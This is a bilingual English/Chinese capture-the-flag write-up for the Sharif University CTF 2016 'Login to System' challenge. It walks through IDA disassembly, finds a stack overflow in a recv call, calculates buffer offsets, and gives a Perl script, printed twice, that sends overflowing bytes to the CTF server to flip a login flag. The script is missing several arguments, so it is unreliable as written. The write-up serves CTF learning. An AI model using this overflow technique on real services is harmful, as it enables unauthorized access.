EN:

It's easy to find out where is the bug :

.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine   proc near               ; DATA XREF: sub_401182+C8o

...

.text:0000000000400F3B                 lea     rcx, [rbp+haystack]
.text:0000000000400F42                 lea     rsi, [rcx+rax]  ; buf
.text:0000000000400F46                 mov     eax, [rbp+fd]
.text:0000000000400F49                 mov     ecx, 0          ; flags
.text:0000000000400F4E                 mov     edi, eax        ; fd
.text:0000000000400F50                 call    _recv

...

.text:0000000000400F91                 lea     rax, [rbp+var_20]
.text:0000000000400F95                 movzx   eax, byte ptr [rax]
.text:0000000000400F98                 cmp     al, 1

when call the function recv(.text:0000000000400F50  ) , if the buf to large it will overwrite the stack rbp+var_20.

seeing the stack sataic:

.text:0000000000400DE4 haystack        = byte ptr -430h
.text:0000000000400DE4 s               = byte ptr -330h
.text:0000000000400DE4 var_230         = byte ptr -230h
.text:0000000000400DE4 var_28          = qword ptr -28h
.text:0000000000400DE4 var_20          = qword ptr -20h
.text:0000000000400DE4 src             = qword ptr -18h
.text:0000000000400DE4 var_10          = qword ptr -10h
.text:0000000000400DE4 fd              = dword ptr -8
.text:0000000000400DE4 var_4           = dword ptr -4

we can calculate out the length of buf:

haystack - var_20 = 0x430-0x20=0x410 = 1040

send content: (?)x 1040 . \x01. "\n"

"\x01" x 1041 . "\n";

the max length of the buf:

haystack - fd = 0x430 - 0x8 =1064

send contend can be: (?)x 1040 . \x01. (?) x22 "\n"

"\x01" x 1063 . "\n";

#!/usr/bin/perl -w
use Socket;
#ip address of ctf.sharif.edu
my $ip="ctf.sharif.edu";
my $port="27515";
my $dest=sockaddr_in($port,inet_aton($ip));
my $buf=undef;
socket(SOCK,PF_INET,SOCK_STREAM,) or die "Can't create socket: $!";
connect(SOCK,$dest) or die "Can't connect: $!";
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
send SOCK,"hi\n",;
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
#"\x01" x [1041..1063]
send SOCK,"\x01" x . "\n",;
sysread(SOCK, $buf, ); # try to read 2048
print $buf;
close SOCK;

CN:

用IDA的要Question, 很容易找到有问题的地方,

.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine   proc near               ; DATA XREF: sub_401182+C8o

...

.text:0000000000400F3B                 lea     rcx, [rbp+haystack]
.text:0000000000400F42                 lea     rsi, [rcx+rax]  ; buf
.text:0000000000400F46                 mov     eax, [rbp+fd]
.text:0000000000400F49                 mov     ecx, 0          ; flags
.text:0000000000400F4E                 mov     edi, eax        ; fd
.text:0000000000400F50                 call    _recv

...

.text:0000000000400F91                 lea     rax, [rbp+var_20]
.text:0000000000400F95                 movzx   eax, byte ptr [rax]
.text:0000000000400F98                 cmp     al, 1

里recv,超长的会把rbp+var_20翻盖掉,再看栈区:

.text:0000000000400DE4 haystack        = byte ptr -430h
.text:0000000000400DE4 s               = byte ptr -330h
.text:0000000000400DE4 var_230         = byte ptr -230h
.text:0000000000400DE4 var_28          = qword ptr -28h
.text:0000000000400DE4 var_20          = qword ptr -20h
.text:0000000000400DE4 src             = qword ptr -18h
.text:0000000000400DE4 var_10          = qword ptr -10h
.text:0000000000400DE4 fd              = dword ptr -8
.text:0000000000400DE4 var_4           = dword ptr -4

从栈区可以计算出 buf的长度。

haystack - var_20 = 0x430-0x20=0x410 = 1040

发送的内容应该是: (?)x 1040 . \x01. "\n"

"\x01" x 1041 . "\n";

发送的内容buf最长可以是:

haystack - fd = 0x430 - 0x8 =1064

发送的内容应该是: (?)x 1040 . \x01. (?) x22 "\n"

"\x01" x 1063 . "\n";

#!/usr/bin/perl -w
use Socket;
#ip address of ctf.sharif.edu
my $ip="ctf.sharif.edu";
my $port="27515";
my $dest=sockaddr_in($port,inet_aton($ip));
my $buf=undef;
socket(SOCK,PF_INET,SOCK_STREAM,) or die "Can't create socket: $!";
connect(SOCK,$dest) or die "Can't connect: $!";
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
send SOCK,"hi\n",;
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
#"\x01" x [1041..1063]
send SOCK,"\x01" x . "\n",;
sysread(SOCK, $buf, ); # try to read 2048
print $buf;
close SOCK;

Sharif University CTF 2016 -- Login to System (PWN 200)的更多相关文章

  1. Sharif University CTF 2016 -- Android App

    很多种的方案: 方案 A: 直接逆向读代码方案 B: 解包,加入debug信息,重新打包,动态调试方案 C: 解包,改代码加入log.i整出flag, 去掉MainActivity里面d=什么也可以, ...

  2. Sharif University CTF 2016 - Smooth As Silk

    Category: Crypto Points: 200 Solves: 11 Description: p > q n = p*q = 1146153281852525177586999436 ...

  3. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  5. CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  6. CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  7. CTF必备技能丨Linux Pwn入门教程——调整栈帧的技巧

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  8. CTF必备技能丨Linux Pwn入门教程——ROP技术(下)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  9. CTF必备技能丨Linux Pwn入门教程——ROP技术(上)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

随机推荐

  1. windows下CMake使用图文手册 Part 2

    例子2:有目录的项目 我现在有个文件夹ProjectDate,有如下文件结构 E:. │  CMakeLists.txt │ ├─include │      Date.h │ └─src       ...

  2. SpringMVC环境搭建 配置文件_2

    applicationContext 命名空间: 引入命名空间,这样可以在代码中使用annotation xmlns="http://www.springframework.org/sche ...

  3. window.returnValue跨域传值问题[转]

    主页面用window.showModalDialog的时候,如果直接打开其它系统的页面,这时候别人的页面在window.returnValue=1;这样返回值的时候,主页面是取不到返回值的,原因就是因 ...

  4. URL Regex expression

    转载: http://blog.csdn.net/weasleyqi/article/details/7912647 首先,正则表达式: String check = @"((http|ft ...

  5. Jstl简单应用

    jsp引入信息------ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" % ...

  6. java remote debug parameters

    java -agentlib:jdwp=transport=dt_socket,server=y,address=8000,suspend=n

  7. 利用Flex组件birdeye绘制拓扑关系图

    birdeye绘制拓扑关系图 1.flex简单介绍 Flex 是一个高效.免费的开源框架,可用于构建具有表现力的 Web应用程序,这些应用程序利用Adobe Flash Player和Adobe AI ...

  8. 你还记得windows workflow foundation吗

    很多年前,windows workflow foundation还叫WWF,而直译过来的名称让很多人以为它就是用来开发工作流或者干脆就是审批流的. 博主当年还是个懵懂的少年,却也知道微软不会大力推一个 ...

  9. [转]:Delphi中Format的字符串格式化使用说明

    一.Format函数的用法 Format是一个很常用,却又似乎很烦的方法,本人试图对这个方法的帮助进行一些翻译,让它有一个完整的概貌,以供大家查询之用: 首先看它的声明: function Forma ...

  10. jquery高级函数

    .get() 将jq对象转成js $('#div1').get(0).innerHTML.text() 给标签添加文本 .detach() 和remove方法一样,但保留删除元素的所有行为$('div ...